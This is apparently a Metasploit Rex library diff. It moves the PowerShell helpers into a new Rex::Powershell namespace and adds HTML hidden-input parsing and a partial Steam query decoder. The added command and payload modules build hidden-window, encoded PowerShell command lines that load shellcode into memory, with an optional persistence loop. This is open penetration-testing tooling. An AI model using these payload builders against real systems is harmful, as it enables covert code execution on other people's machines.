open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
|
||||
open_key = client.sys.registry.open_key(root_key, nil, KEY_WRITE + wowflag)
|
||||
else
|
||||
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
||||
if remote_key
|
||||
open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
|
||||
open_key = remote_key.open_key(nil, KEY_WRITE + wowflag)
|
||||
end
|
||||
end
|
||||
open_key.delete_key(base_key)
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/powershell/payload'
|
||||
require 'rex/powershell/output'
|
||||
require 'rex/powershell/parser'
|
||||
require 'rex/powershell/obfu'
|
||||
require 'rex/powershell/param'
|
||||
require 'rex/powershell/function'
|
||||
require 'rex/powershell/script'
|
||||
require 'rex/powershell/psh_methods'
|
||||
require 'rex/powershell/command'
|
||||
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
#
|
||||
# Reads script into a PowershellScript
|
||||
#
|
||||
# @param script_path [String] Path to the Script File
|
||||
#
|
||||
# @return [Script] Powershell Script object
|
||||
def self.read_script(script_path)
|
||||
Rex::Powershell::Script.new(script_path)
|
||||
end
|
||||
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# If script is a path to a file then read the file
|
||||
# otherwise treat it as the contents of a file
|
||||
#
|
||||
# @param script [String] Script file or path to script
|
||||
# @param subs [Array] Substitutions to insert
|
||||
#
|
||||
# @return [String] Modified script file
|
||||
def self.make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
end
|
||||
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0], set[1])
|
||||
end
|
||||
|
||||
script
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
#
|
||||
# @param subs [String] A ; seperated list of substitutions
|
||||
#
|
||||
# @return [Array] An array of substitutions
|
||||
def self.process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
|
||||
new_subs
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,359 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
module Command
|
||||
#
|
||||
# Return an encoded powershell script
|
||||
# Will invoke PSH modifiers as enabled
|
||||
#
|
||||
# @param script_in [String] Script contents
|
||||
# @param opts [Hash] The options for encoding
|
||||
# @option opts [Bool] :strip_comments Strip comments
|
||||
# @option opts [Bool] :strip_whitespace Strip whitespace
|
||||
# @option opts [Bool] :sub_vars Substitute variable names
|
||||
# @option opts [Bool] :sub_funcs Substitute function names
|
||||
#
|
||||
# @return [String] Encoded script
|
||||
def self.encode_script(script_in, opts={})
|
||||
# Build script object
|
||||
psh = Rex::Powershell::Script.new(script_in)
|
||||
psh.strip_comments if opts[:strip_comments]
|
||||
psh.strip_whitespace if opts[:strip_whitespace]
|
||||
psh.sub_vars if opts[:sub_vars]
|
||||
psh.sub_funcs if opts[:sub_funcs]
|
||||
psh.encode_code
|
||||
end
|
||||
|
||||
#
|
||||
# Return a gzip compressed powershell script
|
||||
# Will invoke PSH modifiers as enabled
|
||||
#
|
||||
# @param script_in [String] Script contents
|
||||
# @param eof [String] Marker to indicate the end of file appended to script
|
||||
# @param opts [Hash] The options for encoding
|
||||
# @option opts [Bool] :strip_comments Strip comments
|
||||
# @option opts [Bool] :strip_whitespace Strip whitespace
|
||||
# @option opts [Bool] :sub_vars Substitute variable names
|
||||
# @option opts [Bool] :sub_funcs Substitute function names
|
||||
#
|
||||
# @return [String] Compressed script with decompression stub
|
||||
def self.compress_script(script_in, eof=nil, opts={})
|
||||
# Build script object
|
||||
psh = Rex::Powershell::Script.new(script_in)
|
||||
psh.strip_comments if opts[:strip_comments]
|
||||
psh.strip_whitespace if opts[:strip_whitespace]
|
||||
psh.sub_vars if opts[:sub_vars]
|
||||
psh.sub_funcs if opts[:sub_funcs]
|
||||
psh.compress_code(eof)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate a powershell command line, options are passed on to
|
||||
# generate_psh_args
|
||||
#
|
||||
# @param opts [Hash] The options to generate the command line
|
||||
# @option opts [String] :path Path to the powershell binary
|
||||
# @option opts [Boolean] :no_full_stop Whether powershell binary
|
||||
# should include .exe
|
||||
#
|
||||
# @return [String] Powershell command line with arguments
|
||||
def self.generate_psh_command_line(opts)
|
||||
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
||||
opts[:path] << '\\'
|
||||
end
|
||||
|
||||
if opts[:no_full_stop]
|
||||
binary = 'powershell'
|
||||
else
|
||||
binary = 'powershell.exe'
|
||||
end
|
||||
|
||||
args = generate_psh_args(opts)
|
||||
|
||||
"#{opts[:path]}#{binary} #{args}"
|
||||
end
|
||||
|
||||
#
|
||||
# Generate arguments for the powershell command
|
||||
# The format will be have no space at the start and have a space
|
||||
# afterwards e.g. "-Arg1 x -Arg -Arg x "
|
||||
#
|
||||
# @param opts [Hash] The options to generate the command line
|
||||
# @option opts [Boolean] :shorten Whether to shorten the powershell
|
||||
# arguments (v2.0 or greater)
|
||||
# @option opts [String] :encodedcommand Powershell script as an
|
||||
# encoded command (-EncodedCommand)
|
||||
# @option opts [String] :executionpolicy The execution policy
|
||||
# (-ExecutionPolicy)
|
||||
# @option opts [String] :inputformat The input format (-InputFormat)
|
||||
# @option opts [String] :file The path to a powershell file (-File)
|
||||
# @option opts [Boolean] :noexit Whether to exit powershell after
|
||||
# execution (-NoExit)
|
||||
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
|
||||
# @option opts [Boolean] :noninteractive Whether to load a non
|
||||
# interactive powershell (-NonInteractive)
|
||||
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
|
||||
# Apartment (-Mta)
|
||||
# @option opts [String] :outputformat The output format
|
||||
# (-OutputFormat)
|
||||
# @option opts [Boolean] :sta Whether to run as Single-Threaded
|
||||
# Apartment (-Sta)
|
||||
# @option opts [Boolean] :noprofile Whether to use the current users
|
||||
# powershell profile (-NoProfile)
|
||||
# @option opts [String] :windowstyle The window style to use
|
||||
# (-WindowStyle)
|
||||
#
|
||||
# @return [String] Powershell command arguments
|
||||
def self.generate_psh_args(opts)
|
||||
return '' unless opts
|
||||
|
||||
unless opts.key? :shorten
|
||||
opts[:shorten] = (opts[:method] != 'old')
|
||||
end
|
||||
|
||||
arg_string = ' '
|
||||
opts.each_pair do |arg, value|
|
||||
case arg
|
||||
when :encodedcommand
|
||||
arg_string << "-EncodedCommand #{value} " if value
|
||||
when :executionpolicy
|
||||
arg_string << "-ExecutionPolicy #{value} " if value
|
||||
when :inputformat
|
||||
arg_string << "-InputFormat #{value} " if value
|
||||
when :file
|
||||
arg_string << "-File #{value} " if value
|
||||
when :noexit
|
||||
arg_string << '-NoExit ' if value
|
||||
when :nologo
|
||||
arg_string << '-NoLogo ' if value
|
||||
when :noninteractive
|
||||
arg_string << '-NonInteractive ' if value
|
||||
when :mta
|
||||
arg_string << '-Mta ' if value
|
||||
when :outputformat
|
||||
arg_string << "-OutputFormat #{value} " if value
|
||||
when :sta
|
||||
arg_string << '-Sta ' if value
|
||||
when :noprofile
|
||||
arg_string << '-NoProfile ' if value
|
||||
when :windowstyle
|
||||
arg_string << "-WindowStyle #{value} " if value
|
||||
end
|
||||
end
|
||||
|
||||
# Command must be last (unless from stdin - etc)
|
||||
if opts[:command]
|
||||
arg_string << "-Command #{opts[:command]}"
|
||||
end
|
||||
|
||||
# Shorten arg if PSH 2.0+
|
||||
if opts[:shorten]
|
||||
# Invoke-Command and Out-File require these options to have
|
||||
# an additional space before to prevent Powershell code being
|
||||
# mangled.
|
||||
arg_string.gsub!(' -Command ', ' -c ')
|
||||
arg_string.gsub!('-EncodedCommand ', '-e ')
|
||||
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
||||
arg_string.gsub!(' -File ', ' -f ')
|
||||
arg_string.gsub!('-InputFormat ', '-i ')
|
||||
arg_string.gsub!('-NoExit ', '-noe ')
|
||||
arg_string.gsub!('-NoLogo ', '-nol ')
|
||||
arg_string.gsub!('-NoProfile ', '-nop ')
|
||||
arg_string.gsub!('-NonInteractive ', '-noni ')
|
||||
arg_string.gsub!('-OutputFormat ', '-o ')
|
||||
arg_string.gsub!('-Sta ', '-s ')
|
||||
arg_string.gsub!('-WindowStyle ', '-w ')
|
||||
end
|
||||
|
||||
# Strip off first space character
|
||||
arg_string = arg_string[1..-1]
|
||||
# Remove final space character
|
||||
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
||||
|
||||
arg_string
|
||||
end
|
||||
|
||||
#
|
||||
# Wraps the powershell code to launch a hidden window and
|
||||
# detect the execution environment and spawn the appropriate
|
||||
# powershell executable for the payload architecture.
|
||||
#
|
||||
# @param ps_code [String] Powershell code
|
||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
||||
# @param opts [Hash] The options for generate_psh_args
|
||||
#
|
||||
# @return [String] Wrapped powershell code
|
||||
def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
|
||||
opts[:noprofile] ||= 'true'
|
||||
opts[:windowstyle] ||= 'hidden'
|
||||
|
||||
# Old method needs host process to stay open
|
||||
opts[:noexit] = true if (opts[:method] == 'old')
|
||||
|
||||
if encoded
|
||||
opts[:encodedcommand] = ps_code
|
||||
else
|
||||
opts[:command] = ps_code.gsub("'", "''")
|
||||
end
|
||||
|
||||
ps_args = generate_psh_args(opts)
|
||||
|
||||
process_start_info = <<EOS
|
||||
$s=New-Object System.Diagnostics.ProcessStartInfo
|
||||
$s.FileName=$b
|
||||
$s.Arguments='#{ps_args}'
|
||||
$s.UseShellExecute=$false
|
||||
$s.RedirectStandardOutput=$true
|
||||
$s.WindowStyle='Hidden'
|
||||
$s.CreateNoWindow=$true
|
||||
$p=[System.Diagnostics.Process]::Start($s)
|
||||
EOS
|
||||
process_start_info.gsub!("\n", ';')
|
||||
|
||||
archictecure_detection = <<EOS
|
||||
if([IntPtr]::Size -eq 4){
|
||||
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
||||
}else{
|
||||
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
||||
};
|
||||
EOS
|
||||
|
||||
archictecure_detection.gsub!("\n", '')
|
||||
|
||||
archictecure_detection + process_start_info
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a powershell command line string which will execute the
|
||||
# payload in a hidden window in the appropriate execution environment
|
||||
# for the payload architecture. Opts are passed through to
|
||||
# run_hidden_psh, generate_psh_command_line and generate_psh_args
|
||||
#
|
||||
# @param pay [String] The payload shellcode
|
||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||
# @param opts [Hash] The options to generate the command
|
||||
# @option opts [Boolean] :persist Loop the payload to cause
|
||||
# re-execution if the shellcode finishes
|
||||
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
||||
# before executing the payload
|
||||
# @option opts [String] :method The powershell injection technique to
|
||||
# use: 'net'/'reflection'/'old'
|
||||
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
|
||||
# script within the hidden/architecture detection wrapper
|
||||
# @option opts [Boolean] :encode_final_payload Encodes the final
|
||||
# powershell script
|
||||
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
||||
# environment variable at the start of the command line
|
||||
# @option opts [Boolean] :use_single_quotes Wraps the -Command
|
||||
# argument in single quotes unless :encode_final_payload
|
||||
#
|
||||
# @return [String] Powershell command line with payload
|
||||
def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
|
||||
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
||||
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
||||
end
|
||||
|
||||
if opts[:no_equals] && !opts[:encode_final_payload]
|
||||
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
||||
end
|
||||
|
||||
psh_payload = case opts[:method]
|
||||
when 'net'
|
||||
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
|
||||
when 'reflection'
|
||||
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay)
|
||||
when 'old'
|
||||
Rex::Powershell::Payload.to_win32pe_psh(template_path, pay)
|
||||
when 'msil'
|
||||
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||
else
|
||||
fail RuntimeError, 'No Powershell method specified'
|
||||
end
|
||||
|
||||
# Run our payload in a while loop
|
||||
if opts[:persist]
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
||||
sleep_time = rand(5) + 5
|
||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||
end
|
||||
|
||||
if opts[:prepend_sleep]
|
||||
if opts[:prepend_sleep].to_i > 0
|
||||
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
||||
end
|
||||
end
|
||||
|
||||
compressed_payload = compress_script(psh_payload, nil, opts)
|
||||
encoded_payload = encode_script(psh_payload, opts)
|
||||
|
||||
# This branch is probably never taken...
|
||||
if encoded_payload.length <= compressed_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
encoded = true
|
||||
else
|
||||
if opts[:encode_inner_payload]
|
||||
encoded = true
|
||||
compressed_encoded_payload = encode_script(compressed_payload)
|
||||
|
||||
if encoded_payload.length <= compressed_encoded_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
else
|
||||
smallest_payload = compressed_encoded_payload
|
||||
end
|
||||
else
|
||||
smallest_payload = compressed_payload
|
||||
encoded = false
|
||||
end
|
||||
end
|
||||
|
||||
# Wrap in hidden runtime / architecture detection
|
||||
inner_args = opts.clone
|
||||
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args)
|
||||
|
||||
command_args = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden'
|
||||
}.merge(opts)
|
||||
|
||||
if opts[:encode_final_payload]
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
|
||||
# If '=' is a bad character pad the payload until Base64 encoded
|
||||
# payload contains none.
|
||||
if opts[:no_equals]
|
||||
while command_args[:encodedcommand].include? '='
|
||||
final_payload << ' '
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
end
|
||||
end
|
||||
else
|
||||
if opts[:use_single_quotes]
|
||||
# Escape Single Quotes
|
||||
final_payload.gsub!("'", "''")
|
||||
# Wrap command in quotes
|
||||
final_payload = "'#{final_payload}'"
|
||||
end
|
||||
|
||||
command_args[:command] = final_payload
|
||||
end
|
||||
|
||||
psh_command = generate_psh_command_line(command_args)
|
||||
|
||||
if opts[:remove_comspec]
|
||||
command = psh_command
|
||||
else
|
||||
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
|
||||
end
|
||||
|
||||
if command.length > 8191
|
||||
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
||||
end
|
||||
|
||||
command
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,7 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Function
|
||||
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
|
||||
|
@ -60,4 +59,3 @@ module Powershell
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -3,7 +3,6 @@
|
|||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Obfu
|
||||
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
|
||||
|
@ -95,4 +94,3 @@ module Powershell
|
|||
end # Obfu
|
||||
end
|
||||
end
|
||||
end
|
|
@ -4,7 +4,6 @@ require 'zlib'
|
|||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Output
|
||||
#
|
||||
|
@ -148,4 +147,3 @@ module Powershell
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,7 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Param
|
||||
attr_accessor :klass, :name
|
||||
|
@ -20,4 +19,3 @@ module Powershell
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,182 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
module Parser
|
||||
# Reserved special variables
|
||||
# Acquired with: Get-Variable | Format-Table name, value -auto
|
||||
RESERVED_VARIABLE_NAMES = [
|
||||
'$$',
|
||||
'$?',
|
||||
'$^',
|
||||
'$_',
|
||||
'$args',
|
||||
'$ConfirmPreference',
|
||||
'$ConsoleFileName',
|
||||
'$DebugPreference',
|
||||
'$Env',
|
||||
'$Error',
|
||||
'$ErrorActionPreference',
|
||||
'$ErrorView',
|
||||
'$ExecutionContext',
|
||||
'$false',
|
||||
'$FormatEnumerationLimit',
|
||||
'$HOME',
|
||||
'$Host',
|
||||
'$input',
|
||||
'$LASTEXITCODE',
|
||||
'$MaximumAliasCount',
|
||||
'$MaximumDriveCount',
|
||||
'$MaximumErrorCount',
|
||||
'$MaximumFunctionCount',
|
||||
'$MaximumHistoryCount',
|
||||
'$MaximumVariableCount',
|
||||
'$MyInvocation',
|
||||
'$NestedPromptLevel',
|
||||
'$null',
|
||||
'$OutputEncoding',
|
||||
'$PID',
|
||||
'$PROFILE',
|
||||
'$ProgressPreference',
|
||||
'$PSBoundParameters',
|
||||
'$PSCulture',
|
||||
'$PSEmailServer',
|
||||
'$PSHOME',
|
||||
'$PSSessionApplicationName',
|
||||
'$PSSessionConfigurationName',
|
||||
'$PSSessionOption',
|
||||
'$PSUICulture',
|
||||
'$PSVersionTable',
|
||||
'$PWD',
|
||||
'$ReportErrorShowExceptionClass',
|
||||
'$ReportErrorShowInnerException',
|
||||
'$ReportErrorShowSource',
|
||||
'$ReportErrorShowStackTrace',
|
||||
'$ShellId',
|
||||
'$StackTrace',
|
||||
'$true',
|
||||
'$VerbosePreference',
|
||||
'$WarningPreference',
|
||||
'$WhatIfPreference'
|
||||
].map(&:downcase).freeze
|
||||
|
||||
#
|
||||
# Get variable names from code, removes reserved names from return
|
||||
#
|
||||
# @return [Array] variable names
|
||||
def get_var_names
|
||||
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
||||
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
|
||||
end
|
||||
|
||||
#
|
||||
# Get function names from code
|
||||
#
|
||||
# @return [Array] function names
|
||||
def get_func_names
|
||||
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt to find string literals in PSH expression
|
||||
#
|
||||
# @return [Array] string literals
|
||||
def get_string_literals
|
||||
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
||||
end
|
||||
|
||||
#
|
||||
# Scan code and return matches with index
|
||||
#
|
||||
# @param str [String] string to match in code
|
||||
# @param source [String] source code to match, defaults to @code
|
||||
#
|
||||
# @return [Array[String,Integer]] matched items with index
|
||||
def scan_with_index(str, source = code)
|
||||
::Enumerator.new do |y|
|
||||
source.scan(str) do
|
||||
y << ::Regexp.last_match
|
||||
end
|
||||
end.map { |m| [m.to_s, m.offset(0)[0]] }
|
||||
end
|
||||
|
||||
#
|
||||
# Return matching bracket type
|
||||
#
|
||||
# @param char [String] opening bracket character
|
||||
#
|
||||
# @return [String] matching closing bracket
|
||||
def match_start(char)
|
||||
case char
|
||||
when '{'
|
||||
'}'
|
||||
when '('
|
||||
')'
|
||||
when '['
|
||||
']'
|
||||
when '<'
|
||||
'>'
|
||||
else
|
||||
fail ArgumentError, 'Unknown starting bracket'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Extract block of code inside brackets/parenthesis
|
||||
#
|
||||
# Attempts to match the bracket at idx, handling nesting manually
|
||||
# Once the balanced matching bracket is found, all script content
|
||||
# between idx and the index of the matching bracket is returned
|
||||
#
|
||||
# @param idx [Integer] index of opening bracket
|
||||
#
|
||||
# @return [String] content between matching brackets
|
||||
def block_extract(idx)
|
||||
fail ArgumentError unless idx
|
||||
|
||||
if idx < 0 || idx >= code.length
|
||||
fail ArgumentError, 'Invalid index'
|
||||
end
|
||||
|
||||
start = code[idx]
|
||||
stop = match_start(start)
|
||||
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
|
||||
delims.map { |x| x[1] = x[1] + idx + 1 }
|
||||
c = 1
|
||||
sidx = nil
|
||||
# Go through delims till we balance, get idx
|
||||
while (c != 0) && (x = delims.shift)
|
||||
sidx = x[1]
|
||||
x[0] == stop ? c -= 1 : c += 1
|
||||
end
|
||||
|
||||
code[idx..sidx]
|
||||
end
|
||||
|
||||
#
|
||||
# Extract a block of function code
|
||||
#
|
||||
# @param func_name [String] function name
|
||||
# @param delete [Boolean] delete the function from the code
|
||||
#
|
||||
# @return [String] function block
|
||||
def get_func(func_name, delete = false)
|
||||
start = code.index(func_name)
|
||||
|
||||
return nil unless start
|
||||
|
||||
idx = code[start..-1].index('{') + start
|
||||
func_txt = block_extract(idx)
|
||||
|
||||
if delete
|
||||
delete_code = code[0..idx]
|
||||
delete_code << code[(idx + func_txt.length)..-1]
|
||||
@code = delete_code
|
||||
end
|
||||
|
||||
Function.new(func_name, func_txt)
|
||||
end
|
||||
end # Parser
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,78 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/random_identifier_generator'
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
module Payload
|
||||
|
||||
def self.read_replace_script_template(template_path, filename, hash_sub)
|
||||
template_pathname = File.join(template_path, filename)
|
||||
template = ''
|
||||
File.open(template_pathname, "rb") {|f| template = f.read}
|
||||
template % hash_sub
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh_net(template_path, code)
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_kernel32)
|
||||
rig.init_var(:var_baseaddr)
|
||||
rig.init_var(:var_threadHandle)
|
||||
rig.init_var(:var_output)
|
||||
rig.init_var(:var_codeProvider)
|
||||
rig.init_var(:var_compileParams)
|
||||
rig.init_var(:var_syscode)
|
||||
rig.init_var(:var_temp)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
read_replace_script_template(template_path, "to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh(template_path, code)
|
||||
hash_sub = {}
|
||||
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
|
||||
|
||||
read_replace_script_template(template_path, "to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
|
||||
# Tweaked by shellster
|
||||
# Originally from PowerSploit
|
||||
#
|
||||
def self.to_win32pe_psh_reflection(template_path, code)
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:func_get_proc_address)
|
||||
rig.init_var(:func_get_delegate_type)
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_module)
|
||||
rig.init_var(:var_procedure)
|
||||
rig.init_var(:var_unsafe_native_methods)
|
||||
rig.init_var(:var_parameters)
|
||||
rig.init_var(:var_return_type)
|
||||
rig.init_var(:var_type_builder)
|
||||
rig.init_var(:var_buffer)
|
||||
rig.init_var(:var_hthread)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
read_replace_script_template(template_path,
|
||||
"to_mem_pshreflection.ps1.template",
|
||||
hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,7 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
##
|
||||
# Convenience methods for generating powershell code in Ruby
|
||||
|
@ -76,4 +75,3 @@ module Powershell
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -4,7 +4,6 @@ require 'rex'
|
|||
require 'forwardable'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Script
|
||||
attr_accessor :code
|
||||
|
@ -96,4 +95,3 @@ module Powershell
|
|||
end # class Script
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'uri'
|
||||
require 'rex/proto/http'
|
||||
require 'nokogiri'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
|
@ -82,6 +83,34 @@ class Response < Packet
|
|||
return cookies.strip
|
||||
end
|
||||
|
||||
|
||||
# Returns a collection of found hidden inputs
|
||||
#
|
||||
# @return [Array<Hash>] An array, each element represents a form that contains a hash of found hidden inputs
|
||||
# * 'name' [String] The hidden input's original name. The value is the hidden input's original value.
|
||||
# @example
|
||||
# res = send_request_cgi('uri'=>'/')
|
||||
# inputs = res.get_hidden_inputs
|
||||
# session_id = inputs[0]['sessionid'] # The first form's 'sessionid' hidden input
|
||||
def get_hidden_inputs
|
||||
forms = []
|
||||
noko = Nokogiri::HTML(self.body)
|
||||
noko.search("form").each_entry do |form|
|
||||
found_inputs = {}
|
||||
form.search("input").each_entry do |input|
|
||||
input_type = input.attributes['type'] ? input.attributes['type'].value : ''
|
||||
next if input_type !~ /hidden/i
|
||||
|
||||
input_name = input.attributes['name'] ? input.attributes['name'].value : ''
|
||||
input_value = input.attributes['value'] ? input.attributes['value'].value : ''
|
||||
found_inputs[input_name] = input_value unless input_name.empty?
|
||||
end
|
||||
forms << found_inputs unless found_inputs.empty?
|
||||
end
|
||||
|
||||
forms
|
||||
end
|
||||
|
||||
#
|
||||
# Updates the various parts of the HTTP response command string.
|
||||
#
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/proto/steam/message'
|
|
@ -0,0 +1,125 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
##
|
||||
#
|
||||
# Steam protocol support, taken from https://developer.valvesoftware.com/wiki/Server_queries
|
||||
#
|
||||
##
|
||||
module Steam
|
||||
# The Steam header ussed when the message is fragmented.
|
||||
FRAGMENTED_HEADER = 0xFFFFFFFE
|
||||
# The Steam header ussed when the message is not fragmented.
|
||||
UNFRAGMENTED_HEADER = 0xFFFFFFFF
|
||||
|
||||
# Decodes a Steam response message.
|
||||
#
|
||||
# @param message [String] the message to decode
|
||||
# @return [Array] the message type and body
|
||||
def decode_message(message)
|
||||
# minimum size is header (4) + type (1)
|
||||
return if message.length < 5
|
||||
header, type = message.unpack('NC')
|
||||
# TODO: handle fragmented responses
|
||||
return if header != UNFRAGMENTED_HEADER
|
||||
[type, message[5, message.length]]
|
||||
end
|
||||
|
||||
# Encodes a Steam message.
|
||||
#
|
||||
# @param type [String, Fixnum] the message type
|
||||
# @param body [String] the message body
|
||||
# @return [String] the encoded Steam message
|
||||
def encode_message(type, body)
|
||||
if type.is_a? Fixnum
|
||||
type_num = type
|
||||
elsif type.is_a? String
|
||||
type_num = type.ord
|
||||
else
|
||||
fail ArgumentError, 'type must be a String or Fixnum'
|
||||
end
|
||||
|
||||
[UNFRAGMENTED_HEADER, type_num ].pack('NC') + body
|
||||
end
|
||||
|
||||
# Builds an A2S_INFO message
|
||||
#
|
||||
# @return [String] the A2S_INFO message
|
||||
def a2s_info
|
||||
encode_message('T', "Source Engine Query\x00")
|
||||
end
|
||||
|
||||
# Decodes an A2S_INFO response message
|
||||
#
|
||||
# @parameter response [String] the A2S_INFO resposne to decode
|
||||
# @return [Hash] the fields extracted from the response
|
||||
def a2s_info_decode(response)
|
||||
# abort if it is impossibly short
|
||||
return nil if response.length < 19
|
||||
message_type, body = decode_message(response)
|
||||
# abort if it isn't a valid Steam response
|
||||
return nil if message_type != 0x49 # 'I'
|
||||
info = {}
|
||||
info[:version], info[:name], info[:map], info[:folder], info[:game_name],
|
||||
info[:game_id], players, players_max, info[:bots],
|
